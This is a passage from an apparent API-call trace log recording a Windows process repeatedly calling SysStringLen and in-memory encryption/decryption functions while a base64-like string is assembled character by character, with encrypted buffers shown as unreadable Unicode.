(param_1="뮾ㆩⵚᅰ걋洓\뿜≋) returned 0x10 [0196.294] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.294] SysStringLen (param_1="A81M6SSdQ़娳ꮾ➤\㋛蒯⊆) returned 0x10 [0196.294] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.294] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜鵋㽞贰⫂뢷홼ﯠ偆⋏) returned 0x10 [0196.294] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜鵋㽞贰⫂뢷홼ﯠ偆⋏) returned 0x10 [0196.294] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.294] SysStringLen (param_1="A81M6SSdQM娳ꮾ➤\㋛蒯⊆) returned 0x10 [0196.294] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.294] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜덋ㄛ鱖ᡌ→ﳻ霖⊁) returned 0x10 [0196.294] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜덋ㄛ鱖ᡌ→ﳻ霖⊁) returned 0x10 [0196.294] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.294] SysStringLen (param_1="A81M6SSdQMMꮾ➤\㋛蒯⊆) returned 0x10 [0196.294] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.295] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜ో⭋蔇ྶƏꞜ䊌蛬≍) returned 0x10 [0196.295] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜ో⭋蔇ྶƏꞜ䊌蛬≍) returned 0x10 [0196.295] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.295] SysStringLen (param_1="A81M6SSdQMMb➤\㋛蒯⊆) returned 0x10 [0196.295] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.295] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜ᅋ룠䐱鰾巻‿ᵹŁ⊊) returned 0x10 [0196.295] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜ᅋ룠䐱鰾巻‿ᵹŁ⊊) returned 0x10 [0196.295] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.295] SysStringLen (param_1="A81M6SSdQMMbo\㋛蒯⊆) returned 0x10 [0196.295] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.295] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜\ໝ⑓賧䂲蝩") returned 0x10 [0196.295] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜\ໝ⑓賧䂲蝩") returned 0x10 [0196.295] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.296] SysStringLen (param_1="A81M6SSdQMMbo7꼲蚄") returned 0x10 [0196.296] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.296] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜⑺믬쟔锈ᯰ\짟歪") returned 0x10 [0196.296] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜⑺믬쟔锈ᯰ\짟歪") returned 0x10 [0196.296] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.296] SysStringLen (param_1="A81M6SSdQMMbo7/蚄") returned 0x10 [0196.296] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.296] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜桋條䚚쫪螆罓婴䎞≗) returned 0x10 [0196.296] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜桋條䚚쫪螆罓婴䎞≗) returned 0x10 [0196.296] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.296] SysStringLen (param_1="A81M6SSdQMMbo7/a") returned 0x10 [0196.296] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.296] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ⊋) returned 0x10 [0196.297] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ⊋) returned 0x10 [0196.297] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ⊋) returned 0x10 [0196.297] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ⊋) returned 0x18 [0196.297] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.297] SysStringLen (param_1="A81M6SSdQMMbo7/ay⽺춅젇釮滋䘧") returned 0x18 [0196.297] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.297] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ貋紊ըᱱᖻ됬迕⊙) returned 0x18 [0196.297] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ貋紊ըᱱᖻ됬迕⊙) returned 0x18 [0196.297] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.297] SysStringLen (param_1="A81M6SSdQMMbo7/ayB⽺춅젇釮滋䘧") returned 0x18 [0196.297] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.298] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊﶋ蔰鮨氆㢿妾䓍≛) returned 0x18 [0196.298] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊﶋ蔰鮨氆㢿妾䓍≛) returned 0x18 [0196.298] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.298] SysStringLen (param_1="A81M6SSdQMMbo7/ayB0춅젇釮滋䘧") returned 0x18 [0196.298] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.298] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊﾋⱦ꼀Ｄ䫮蝟⢘⋷) returned 0x18 [0196.298] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊﾋⱦ꼀Ｄ䫮蝟⢘⋷) returned 0x18 [0196.298] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.298] SysStringLen (param_1="A81M6SSdQMMbo7/ayB0f젇釮滋䘧") returned 0x18 [0196.298] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.298] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ\䋚\㫜쉾氜锆䝷∤) returned 0x18 [0196.298] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ\䋚\㫜쉾氜锆䝷∤) returned 0x18 [0196.298] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.298] SysStringLen (param_1="A81M6SSdQMMbo7/ayB0fn釮滋䘧") returned 0x18 [0196.299] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.299] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ벋汀\ꋞﷀ厥눾寽ᵭ") returned 0x18 [0196.299] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ벋汀\ꋞﷀ厥눾寽ᵭ") returned 0x18 [0196.299] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.299] SysStringLen (param_1="A81M6SSdQMMbo7/ayB0fnJ滋䘧") returned 0x18 [0196.299] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.299] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ킋냟뮍ᐪ녧䇇ⅲ傗⋋) returned 0x18 [0196.299] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ킋냟뮍ᐪ녧䇇ⅲ傗⋋) returned 0x18 [0196.299] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.299] SysStringLen (param_1="A81M6SSdQMMbo7/ayB0fnJB䘧") returned 0x18 [0196.299] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.299] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊঋ聘衜鯭㕳⒱⼶⋪) returned 0x18 [0196.299] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊঋ聘衜鯭㕳⒱⼶⋪) returned 0x18 [0196.299] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.300] SysStringLen (param_1="A81M6SSdQMMbo7/ayB0fnJBn") returned 0x18 [0196.300] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.300] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ㶋㺗샴勼ࣦ頂⋸) returned 0x18 [0196.300] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ㶋㺗샴勼ࣦ頂⋸) returned 0x18 [0196.300] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ㶋㺗샴勼ࣦ頂⋸) returned 0x18 [0196.300] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ㶋㺗샴勼ࣦ頂⋸) returned 0x20 [0196.300] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.300] SysStringLen (param_1="A81M6SSdQMMbo7/ayB0fnJBnh꽤荗䘎犽傐煻㖣") returned 0x20 [0196.300] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.301] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ㶋㺗샴勼ࣦ頂ᳲ\៝訁譠푄搏潭") returned 0x20 [0196.301] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ㶋㺗샴勼ࣦ頂ᳲ\៝訁譠푄搏潭") returned 0x20 [0196.301] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.301] SysStringLen (param_1="A81M6SSdQMMbo7/ayB0fnJBnhd荗䘎犽傐煻㖣") returned 0x20 [0196.301] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.301] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ㶋㺗샴勼ࣦ頂\跚鸴ল᷉卖䍈\xfdef") returned 0x20 [0196.301] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ㶋㺗샴勼ࣦ頂\跚鸴ল᷉卖䍈\xfdef") returned 0x20 [0196.301] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.301] SysStringLen (param_1="A81M6SSdQMMbo7/ayB0fnJBnhdT䘎犽傐煻㖣") returned 0x20 [0196.301] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.301] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ㶋㺗샴勼ࣦ頂鳸ꖚ凰襁鶺얖⊟) returned 0x20 [0196.301] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ㶋㺗샴勼ࣦ頂鳸ꖚ凰襁鶺얖⊟) returned 0x20 [0196.301] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.302] SysStringLen (param_1="A81M6SSdQMMbo7/ayB0fnJBnhdTo犽傐煻㖣") returned 0x20 [0196.302] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.302] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ㶋㺗샴勼ࣦ頂篸䨌끐볌䬘舣\胝࡬") returned 0x20 [0196.302] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ㶋㺗샴勼ࣦ頂篸䨌끐볌䬘舣\胝࡬") returned 0x20 [0196.302] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.302] SysStringLen (param_1="A81M6SSdQMMbo7/ayB0fnJBnhdTo3傐煻㖣") returned 0x20 [0196.302] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.302] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ㶋㺗샴勼ࣦ頂ᗸ꿒燛昼뱷瓸覢⋂) returned 0x20 [0196.302] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ㶋㺗샴勼ࣦ頂ᗸ꿒燛昼뱷瓸覢⋂) returned 0x20 [0196.302] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.302] SysStringLen (param_1="A81M6SSdQMMbo7/ayB0fnJBnhdTo3g煻㖣") returned 0x20 [0196.302] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.303] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ㶋㺗샴勼ࣦ頂雸틍㾠\顢ະ㥞휕") returned 0x20 [0196.303] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ㶋㺗샴勼ࣦ頂雸틍㾠\顢ະ㥞휕") returned 0x20 [0196.303] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.314] SysStringLen (param_1="A81M6SSdQMMbo7/ayB0fnJBnhdTo3gH㖣") returned 0x20 [0196.314] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.314] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ㶋㺗샴勼ࣦ頂쫠濩韫擀휚⇠≊) returned 0x20 [0196.314] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ㶋㺗샴勼ࣦ頂쫠濩韫擀휚⇠≊) returned 0x20 [0196.314] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.315] SysStringLen (param_1="A81M6SSdQMMbo7/ayB0fnJBnhdTo3gH/") returned 0x20 [0196.315] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.315] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ㶋㺗샴勼ࣦ頂觸쎝亨텮繕஠犃㧔≎) returned 0x20 [0196.315] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ㶋㺗샴勼ࣦ頂觸쎝亨텮繕஠犃㧔≎) returned 0x20 [0196.315] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ㶋㺗샴勼ࣦ頂觸쎝亨텮繕஠犃㧔≎) returned 0x20 [0196.315] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ㶋㺗샴勼ࣦ頂觸쎝亨텮繕஠犃㧔≎) returned 0x28 [0196.315] SystemFunction041 (in: Memory=0x5c91804, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91804) returned 0x0 [0196.315] SysStringLen (param_1="A81M6SSdQMMbo7/ayB0fnJBnhdTo3gH/o遖ᤧ⮑㕴꜁茂") returned 0x28 [0196.316] SystemFunction040 (in: Memory=0x5c91804, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91804) returned 0x0 [0196.316] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ㶋㺗샴勼ࣦ頂觸쎝亨텮繕஠犃㧔⩎鯷剎궄䲉䌍쐇⋥) returned 0x28 [0196.316] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ㶋㺗샴勼ࣦ頂觸쎝亨텮繕஠犃㧔⩎鯷剎궄䲉䌍쐇⋥) returned 0x28 [0196.316] SystemFunction041 (in: Memory=0x5c91804, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91804) returned 0x0 [0196.316] SysStringLen (param_1="A81M6SSdQMMbo7/ayB0fnJBnhdTo3gH/oXᤧ⮑㕴꜁茂") returned 0x28 [0196.316] SystemFunction040 (in: Memory=0x5c91804, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91804) returned 0x0 [0196.316] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ㶋㺗샴勼ࣦ頂觸쎝亨텮繕஠犃㧔읎ꨎ醥噲Ἃ﹯ၰ⊔) returned 0x28 [0196.316] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ㶋㺗샴勼ࣦ頂觸쎝亨텮繕஠犃㧔읎ꨎ醥噲Ἃ﹯ၰ⊔) returned 0x28 [0196.316] SystemFunction041 (in: Memory=0x5c91804, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91804) returned 0x0 [0196.316] SysStringLen (param_1="A81M6SSdQMMbo7/ayB0fnJBnhdTo3gH/oX+⮑㕴꜁茂") returned 0x28 [0196.316] SystemFunction040 (in: Memory=0x5c91804, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91804) returned 0x0 [0196.316] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ㶋㺗샴勼ࣦ頂觸쎝亨텮繕஠犃㧔َᖔ퍑囡⍌倖혵៵∪) returned 0x28 [0196.316] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ㶋㺗샴勼ࣦ頂觸쎝亨텮繕஠犃㧔َᖔ퍑囡⍌倖혵៵∪) returned 0x28 [0196.316] SystemFunction041 (in: Memory=0x5c91804, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91804) returned 0x0 [0196.317] SysStringLen (param_1="A81M6SSdQMMbo7/ayB0fnJBnhdTo3gH/oX+g⮑㕴꜁茂") returned 0x28 [0196.317] SystemFunction040 (in: Memory=0x5c91804, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91804) returned 0x0 [0196.317] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ㶋㺗샴勼ࣦ頂觸쎝亨텮繕஠犃㧔ⵎ븒뭟\揙颡") returned 0x28 [0196.317] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ㶋㺗샴勼ࣦ頂觸쎝亨텮繕஠犃㧔ⵎ븒뭟\揙颡") returned 0x28 [0196.317] SystemFunction041 (in: Memory=0x5c91804, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91804) returned 0x0 [0196.317] SysStringLen (param_1="A81M6SSdQMMbo7/ayB0fnJBnhdTo3gH/oX+g6㕴꜁茂") returned 0x28 [0196.317] SystemFunction040 (in: Memory=0x5c91804, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91804) returned 0x0 [0196.317] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ㶋㺗샴勼ࣦ頂觸쎝亨텮繕஠犃㧔潎➺馿տ먅涚⊶) returned 0x28 [0196.317] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ㶋㺗샴勼ࣦ頂觸쎝亨텮繕஠犃㧔潎➺馿տ먅涚⊶) returned 0x28 [0196.317] SystemFunction041 (in: Memory=0x5c91804, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91804) returned 0x0 [0196.317] SysStringLen (param_1="A81M6SSdQMMbo7/ayB0fnJBnhdTo3gH/oX+g6c꜁茂") returned 0x28 [0196.317] SystemFunction040 (in: Memory=0x5c91804, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91804) returned 0x0 [0196.317] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ㶋㺗샴勼ࣦ頂觸쎝亨텮繕஠犃㧔텎妷ུ⾧耿鹠᧕⋑) returned 0x28 [0196.318] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ㶋㺗샴勼ࣦ頂觸쎝亨텮繕஠犃㧔텎妷ུ⾧耿鹠᧕⋑) returned 0x28 [0196.318] SystemFunction041 (in: Memory=0x5c91804, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91804) returned 0x0 [0196.318] SysStringLen (param_1="A81M6SSdQMMbo7/ayB0fnJBnhdTo3gH/oX+g6cp茂") returned 0x28 [0196.318] SystemFunction040 (in: Memory=0x5c91804, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91804) returned 0x0 [0196.318] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ㶋㺗샴勼ࣦ頂觸쎝亨텮繕஠犃㧔㵎픆잃鐤ᅓΌွ≌) returned 0x28 [0196.318] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ㶋㺗샴勼ࣦ頂觸쎝亨텮繕஠犃㧔㵎픆잃鐤ᅓΌွ≌) returned 0x28 [0196.318] SystemFunction041 (in: Memory=0x5c91804, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91804) returned 0x0 [0196.318] SysStringLen (param_1="A81M6SSdQMMbo7/ayB0fnJBnhdTo3gH/oX+g6cpd") returned 0x28 [0196.318] SystemFunction040 (in: Memory=0x5c91804, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91804) returned 0x0 [0196.318] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ㶋㺗샴勼ࣦ頂觸쎝亨텮繕஠犃㧔Ŏ喟ﰘ\﫜\ꯙ榓흊∻) returned 0x28 [0196.318] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ㶋㺗샴勼ࣦ頂觸쎝亨텮繕஠犃㧔Ŏ喟ﰘ\﫜\ꯙ榓흊∻) returned 0x28 [0196.319] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ㶋㺗샴勼ࣦ頂觸쎝亨텮繕஠犃㧔Ŏ喟ﰘ\﫜\ꯙ榓흊∻) returned 0x28 [0196.319] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ㶋㺗샴勼ࣦ頂觸쎝亨텮繕஠犃㧔Ŏ喟ﰘ\﫜\ꯙ榓흊∻) returned 0x30 [0196.319] SystemFunction041 (in: Memory=0x3da33c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da33c) returned 0x0 [0196.319] SysStringLen (param_1="A81M6SSdQMMbo7/ayB0fnJBnhdTo3gH/oX+g6cpdV⃀֕䀒初◔㤚") returned 0x30 [0196.319] SystemFunction040 (in: Memory=0x3da33c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da33c) returned 0x0 [0196.319] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ㶋㺗샴勼ࣦ頂觸쎝亨텮繕஠犃㧔Ŏ喟ﰘ\﫜\ꯙ榓흊젻ᓗ껦⚾孼靈浠ࣺ⊢) returned 0x30 [0196.319] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ㶋㺗샴勼ࣦ頂觸쎝亨텮繕஠犃㧔Ŏ喟ﰘ\﫜\ꯙ榓흊젻ᓗ껦⚾孼靈浠ࣺ⊢) returned 0x30 [0196.319] SystemFunction041 (in: Memory=0x3da33c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da33c) returned 0x0 [0196.319] SysStringLen (param_1="A81M6SSdQMMbo7/ayB0fnJBnhdTo3gH/oX+g6cpdV+֕䀒初◔㤚") returned 0x30 [0196.319] SystemFunction040 (in: Memory=0x3da33c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da33c) returned 0x0 [0196.319] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ㶋㺗샴勼ࣦ頂觸쎝亨텮繕஠犃㧔Ŏ喟ﰘ\﫜\ꯙ榓흊ﴻ若헟렯熦듏苟≧) returned 0x30 [0196.319] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ㶋㺗샴勼ࣦ頂觸쎝亨텮繕஠犃㧔Ŏ喟ﰘ\﫜\ꯙ榓흊ﴻ若헟렯熦듏苟≧) returned 0x30 [0196.319] SystemFunction041 (in: Memory=0x3da33c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da33c) returned 0x0 [0196.320] SysStringLen (param_1="A81M6SSdQMMbo7/ayB0fnJBnhdTo3gH/oX+g6cpdV+4䀒初◔㤚") returned 0x30 [0196.320] SystemFunction040 (in: Memory=0x3da33c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da33c) returned 0x0 [0196.320] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ㶋㺗샴勼ࣦ頂觸쎝亨텮繕஠犃㧔Ŏ喟ﰘ\﫜\ꯙ榓흊켻涽侀Ꝃ꧘硴担虸≁) returned 0x30 [0196.320] SysStringLen 